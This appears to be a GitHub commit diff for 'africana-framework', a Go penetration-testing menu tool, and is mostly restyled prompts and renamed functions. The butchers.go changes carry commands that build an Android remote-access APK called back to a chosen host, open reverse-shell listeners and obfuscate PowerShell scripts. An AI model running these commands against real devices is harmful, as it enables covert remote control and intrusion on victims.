Skip to content

Commit

Permalink
With great power comes great responsibility
Browse files Browse the repository at this point in the history
The africana-framework is a software designed for network & web hacking by automating as much stuff as possible to detect vulnerabilities on most common services and web technologies. It also has some wide range of penetration testing from internal network, WIFI, system anonymity to web bug hunting. It's purely written for Good and not Evil
  • Loading branch information
r0jahsm0ntar1 committed Jul 6, 2024
1 parent 2b7778e commit a131d86
Show file tree
Hide file tree
Showing 12 changed files with 294 additions and 113 deletions.
37 changes: 27 additions & 10 deletions africana.go
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ var (
proxyURL string
)

func sudo() {
func africana() {
switch runtime.GOOS {
case "windows":
userAgreements()
Expand Down Expand Up @@ -118,7 +118,7 @@ func systemSetups() {
}

//2. System Security Configuration.........(Setup tor &)🎭
func anonymitySetups() {
func anonsurfSetups() {
utils.ClearScreen(); banners.Banner(); menus.MenuTwo()
for {
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework" + bcolors.BLUE + ")\n" + bcolors.ENDC)
Expand All @@ -129,15 +129,32 @@ func anonymitySetups() {
africanaFramework()
return
case "1":
securities.AnonymitySetups ( )
utils.ClearScreen ( )
securities.AnonsurfSetups ( )
case "2":
securities.AnonymityStart ( )
utils.ClearScreen ( )
securities.AnonsurfStart ( )
case "3":
securities.AnonymityStop ( )
utils.ClearScreen ( )
securities.AnonsurfExitnode ( )
case "4":
securities.AnonymityStatus ( )
utils.ClearScreen ( )
securities.AnonsurfStatus ( )
case "5":
securities.AnonymityChains ( )
utils.ClearScreen ( )
securities.AnonsurfIpaddr ( )
case "6":
utils.ClearScreen ( )
securities.AnonsurfRIptabls ( )
case "7":
utils.ClearScreen ( )
securities.AnonsurfReload ( )
case "8":
utils.ClearScreen ( )
securities.AnonsurfChains ( )
case "9":
utils.ClearScreen ( )
securities.AnonsurfStop ( )
case "99", "m", "M", "menu", "Menu", "MENU":
menus.MenuTwo()
case "00", "h", "H", "help", "Help", "HELP":
Expand Down Expand Up @@ -728,7 +745,7 @@ func africanaFramework() {
systemSetups ( )
return
case "2":
anonymitySetups ( )
anonsurfSetups ( )
return
case "3":
internaltargetInput ( )
Expand Down Expand Up @@ -785,7 +802,7 @@ func genesis() {
systemSetups ( )
return
case "-2", "-t", "--anonsurf":
anonymitySetups ( )
anonsurfSetups ( )
return
case "-3", "-n", "--networks":
internaltargetInput ( )
Expand Down Expand Up @@ -823,5 +840,5 @@ func genesis() {
}

func main() {
sudo()
africana()
}
1 change: 1 addition & 0 deletions docker/install.sh
Original file line number Diff line number Diff line change
Expand Up @@ -110,6 +110,7 @@ print_delimiter
print_blue "[~] Install various required packages (if missing)"

PACKAGES="
golang
alien
apt-transport-https
apt-utils
Expand Down
43 changes: 27 additions & 16 deletions src/butchers/butchers.go
Original file line number Diff line number Diff line change
Expand Up @@ -34,7 +34,7 @@ func MeterPeter() {
}

func TearDroid() {
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Output:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "africana.apk" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "Output " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "africana.apk" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
reader := bufio.NewReader(os.Stdin)
userMalware, _ := reader.ReadString('\n')
Expand All @@ -46,10 +46,10 @@ func TearDroid() {
}

func Chameleon() {
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Full path to your .Ps1" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "Full path to your " + bcolors.PURPLE + ".Ps1" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
fmt.Scan(&userScript)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Output:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "/root/.africana/output/leviathan.txt" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "Output path " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "/root/.africana/output/leviathan.txt" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
reader := bufio.NewReader(os.Stdin)
userOutput, _ := reader.ReadString('\n')
Expand All @@ -61,10 +61,10 @@ func Chameleon() {
}

func ChameLeon() {
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Full path to your .Ps1" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "Full path to your " + bcolors.PURPLE + ".Ps1" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
fmt.Scan(&userScript)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Output:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "/root/.africana/output/leviathan.txt" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "Output path " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "/root/.africana/output/leviathan.txt" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
reader := bufio.NewReader(os.Stdin)
userOutput, _ := reader.ReadString('\n')
Expand All @@ -76,7 +76,7 @@ func ChameLeon() {
}

func BlackJack() {
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Use" + bcolors.ENDC + ": " + bcolors.BLUE + "1. " + bcolors.YELLOW + "TCP " + bcolors.BLUE + "2. " + bcolors.YELLOW + "HTTPS " + bcolors.BLUE + "or " + bcolors.BLUE + "0. " + bcolors.YELLOW + "Go back" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "use" + bcolors.ENDC + ": " + bcolors.BLUE + bcolors.ITALIC + "1. " + bcolors.YELLOW + "TCP " + bcolors.BLUE + "2. " + bcolors.YELLOW + "HTTPS " + bcolors.BLUE + "or " + bcolors.BLUE + "0. " + bcolors.PURPLE + "Go back" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
reader := bufio.NewReader(os.Stdin)
userInput, _ := reader.ReadString('\n')
Expand All @@ -88,7 +88,7 @@ func BlackJack() {
case "0":
return
case "1":
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Lport:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "9999" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "LPORT " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "9999" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
reader := bufio.NewReader(os.Stdin)
userLport, _ := reader.ReadString('\n')
Expand All @@ -97,23 +97,25 @@ func BlackJack() {
userLport = "9999"
}
subprocess.PopenTwo(`cd /root/.africana/africana-base/blackjack/; python3 BlackJack.py -i -s -n %s`, userLport)
fmt.Println()
case "2":
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Lport:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "9999" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "LPORT " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "9999" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
reader := bufio.NewReader(os.Stdin)
userLport, _ := reader.ReadString('\n')
userLport = strings.TrimSpace(userLport)
if userLport == "" {
userLport = "9999"
}
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Hport:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "3333" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "HPORT " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "3333" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
userHport, _ := reader.ReadString('\n')
userHport = strings.TrimSpace(userHport)
if userHport == "" {
userHport = "3333"
}
subprocess.PopenThree(`cd /root/.africana/africana-base/blackjack/; python3 BlackJack.py -i -s -c /root/.africana/certs/africana-cert.pem -k /root/.africana/certs/africana-key.pem -x %s -n %s`, userLport, userHport)
fmt.Println()
default:
fmt.Println(bcolors.BLUE + "( " + bcolors.RED + "Poor choice of selection. Please select from " + bcolors.YELLOW + "> " + bcolors.BLUE + "(" + bcolors.DARKCYAN + " 0 to 2 " + bcolors.BLUE + ")" + bcolors.ENDC)
}
Expand All @@ -128,22 +130,23 @@ func PowerJoker() {
fmt.Println()
subprocess.Popen(`ip address`)
fmt.Println()
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Lhost:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "%s", userLhostIp + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "LHOST " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "%s", userLhostIp + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
reader := bufio.NewReader(os.Stdin)
userLhost, _ := reader.ReadString('\n')
userLhost = strings.TrimSpace(userLhost)
if userLhost == "" {
userLhost = userLhostIp
}
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Lport:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "9999" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "LPORT " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "9999" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
userLport, _ := reader.ReadString('\n')
userLport = strings.TrimSpace(userLport)
if userLport == "" {
userLport = "9999"
}
subprocess.PopenThree(`cd /root/.africana/africana-base/joker/; python3 joker.py -l %s -p %s`, userLhost, userLport)
fmt.Println()
}

func AndroRat() {
Expand All @@ -154,33 +157,41 @@ func AndroRat() {
}
filePath := "/usr/bin/zipalign.bak_africana"
if _, err := os.Stat(filePath); os.IsNotExist(err) {
subprocess.Popen(`mv /usr/bin/zipalign /usr/bin/zipalign.bak_africana; cd /root/.africana/africana-base/androrat; apt install ./zipalign_8.1.0.deb --allow-downgrades -y`)
subprocess.Popen(`mv /usr/bin/zipalign /usr/bin/zipalign.bak_africana; apt-get install /root/.africana/africana-base/androrat/zipalign_8.1.0.deb --allow-downgrades -y`)
fmt.Println()
}
fmt.Println()
subprocess.Popen(`ip address`)
fmt.Println()
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Lhost:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "%s", userLhostIp + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "LHOST " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "%s", userLhostIp + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
reader := bufio.NewReader(os.Stdin)
userLhost, _ := reader.ReadString('\n')
userLhost = strings.TrimSpace(userLhost)
if userLhost == "" {
userLhost = userLhostIp
}
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Lport:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "9999" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "LPORT " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "9999" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
userLport, _ := reader.ReadString('\n')
userLport = strings.TrimSpace(userLport)
if userLport == "" {
userLport = "9999"
}
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework:" + bcolors.RED + "Output:" + bcolors.BLUE + "Default:" + bcolors.YELLOW + "africana.apk" + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "Output name " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "africana.apk" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
userMalware, _ := reader.ReadString('\n')
userMalware = strings.TrimSpace(userMalware)
if userMalware == "" {
userMalware = "africana.apk"
}
subprocess.PopenFour(`cd /root/.africana/africana-base/androrat/; python3 androrat.py --build -i %s -p %s -o /root/.africana/output/%s`, userLhost, userLport, userMalware)
fmt.Printf(bcolors.BLUE + "╭─" + bcolors.BLUE + "(" + bcolors.ENDC + "africana:" + bcolors.DARKCYAN + "framework: " + bcolors.ENDC + bcolors.ITALIC + "set " + bcolors.RED + "Output path " + bcolors.PURPLE + "default " + bcolors.ENDC + "= " + bcolors.YELLOW + bcolors.ITALIC + "/root/.africana/output/" + bcolors.ENDC + bcolors.BLUE + ")\n" + bcolors.ENDC)
fmt.Printf(bcolors.BLUE + "╰─🐭" + bcolors.GREEN + "❯ " + bcolors.ENDC)
userOutput, _ := reader.ReadString('\n')
userOutput = strings.TrimSpace(userOutput)
if userOutput == "" {
userOutput = "/root/.africana/output/"
}
subprocess.PopenFour(`cd /root/.africana/africana-base/androrat/; python3 androrat.py --build -i %s -p %s -o %s`, userLhost, userLport, userOutput + userMalware + ".apk")
subprocess.PopenThree(`cd /root/.africana/africana-base/androrat/; python3 androrat.py --shell -i %s -p %s`, userLhost, userLport)
}
Loading

0 comments on commit a131d86

Please sign in to comment.